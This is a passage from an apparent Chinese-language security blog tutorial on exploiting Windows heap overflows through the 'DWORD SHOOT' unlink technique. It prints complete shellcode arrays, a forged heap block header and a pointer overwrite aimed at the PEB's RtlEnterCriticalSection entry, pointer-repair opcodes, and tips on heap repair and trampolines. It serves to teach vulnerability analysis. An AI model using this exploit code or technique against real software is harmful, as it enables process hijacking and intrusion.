"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
运行一下,发现那个 failwest 消息框没有弹出来。原来,这里有一个问题: 被我们修改的 P.E.B 里的函数指针不光会被 ExitProcess()调用, shellcode 中的函数也会使用。当 shellcode 的函数使用临界区时,会像 ExitProcess()一样被骗。
为了解决这个问题,我们对 shellcode 稍加修改,在一开始就把我们 DWORD SHOOT 的指针修复回去,以防出错。重新调试一遍,记下 0x7FFDF020
处的函数指针为 0x77F82060
。
“提示: P.E.B 中存放 RtlEnterCriticalSection() 函数指针的位置 0x7FFDF020 是固定的,但是, RtlEnterCriticalSection() 的地址也就是这个指针的值 0x77F82060 有可能会因为补丁和操作系统而不一样,请在动态调试时确定。
指令与对应机器码
指 令 | 机 器 码 |
---|---|
MOV EAX,7FFDF020 | "\xB8\x20\xF0\xFD\x7F" |
MOV EBX,77F82060(可能需要调试确定这个地址) | "\xBB\x60\x20\xF8\x77" |
MOV [EAX],EBX | "\x89\x18" |
将这 3 条指令的机器码放在 shellcode 之前,重新调整 shellcode 的长度为 200 字节,然后是 8 字节块首, 8 字节伪造的指针。
这时,缓冲区内容如下:
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77" //MOV EBX,77F8AA4C the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
/*
//0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
*/
现在把断点注释掉,build 直接运行。结果如下图所示,注入成功!!!
堆溢出利用的注意事项
调试堆与常态堆的区别
(1)调试堆不使用快表,只用空表分配。 (2)所有堆块都被加上了多余的 16 字节尾部用来防止溢出(防止程序溢出而不是堆溢出攻击),这包括 8 个字节的 0xAB 和 8 个字节的 0x00。 (3)块首的标志位不同。
在 shellcode 中修复环境
比较简单修复堆区的做法包括如下步骤。 (1)在堆区偏移 0x28
的地方存放着堆区所有空闲块的总和 TotalFreeSize。 (2)把一个较大块(或干脆直接找个暂时不用的区域伪造一个块首)块首中标识自身大小的两个字节(self size)修改成堆区空闲块总容量的大小(TotalFreeSize)。 (3)把该块的 flag 位设置为 0x10(last entry 尾块)。 (4)把 freelist[0]的前向指针和后向指针都指向这个堆块。 这样可以使整个堆区“看起来好像是”刚初始化完只有一个大块的样子,不但可以继续完成分配工作,还保护了堆中已有的数据。
定位 shellcode 的跳板
可以使用几种指令作为跳板定位 shellcode,这些指令一般可以在 netapi32.dll、 user32.dll、 rp crt4.dll 中搜到不少,代码如下所示。
CALL DWORD PTR [EDI+0x78]
CALL DWORD PTR [ESI+0x4C]
CALL DWORD PTR [EBP+0x74]
DWORD SHOOT 后的“指针反射”现象
回顾前面介绍 DWORD SHOOT 时所举的例子:
int remove (ListNode * node)
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return 0;
}
其中, node -> blink(fake) -> flink = node -> flink(fake);
将会导致 DWORD SHOOT。你可能会发现node -> flink(fake) -> blink = node -> blink(fake);
也能导致 DWORD SHOOT。这次 DWORD SHOOT 将把目标地址写回 shellcode 起始位置偏移 4 个字节的地方。我把类似这样的第二次 DWORD SHOOT 称为 “指针反射”。
有时在指针反射发生前就会产生异常。然而,大多数情况下,指针反射是会发生的,糟糕的是,它会把目标地址刚好写进 shellcode 中。这对于没有跳板直接利用 DWORD SHOOT 劫持进程的 exploit 来说是一个很大的限制,因为它将破坏 4 个字节的 shellcode。
幸运的是,很多情况下 4 个字节的目标地址都会被处理器当做“无关痛痒”的指令安全地执行过去。
“参考:
《0day,软件安全漏洞分析技术》
《深入分析 win32 堆结构与管理策略》[3]
[^1]: “杂乱” 是指堆区经过反复的申请、释放操作之后,原本大片连续的空闲内存区可能 呈现出大小不等且空闲块、占用块相间隔的凌乱状态。 [^2]: “辨别” 是指堆管理程序必须能够正确地识别哪些内存区域是正在被程序使用的占用块,哪些区域是可以返回给当前请求的空闲块。 [^3]: “恰当” 是指堆管理程序必须能够比较“经济”地分配空闲内存块。如果用户申请使用 8 个字节,而返回给用户一片 512 字节的连续内存区域并将其标记成占用状态,这将造成大量的内存浪费,以致出现明明有内存却无法满足申请请求的情况。 [^4]: ”占用态” 是指已经被分配给用户程序的内存 [^5]: “空闲态” 是指未被分配给用户程序的内存 [^6]: "次优分配“ 发生时,会先从大块中按请求的大小精确地“割”出一块进行分配,然后给剩下的部分重新标注块首,链入空表。
参考资料
单链表和双链表: https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/singly-and-doubly-linked-lists
[2]LIST_ENTRY 结构 (ntdef.h): https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-list_entry
[3]《深入分析 win32 堆结构与管理策略》: https://www.cnblogs.com/Hslim/p/15530690.html#14-%E6%80%BB%E7%BB%93
作者介绍
人工智障plus
个人博客 rgzzplus.com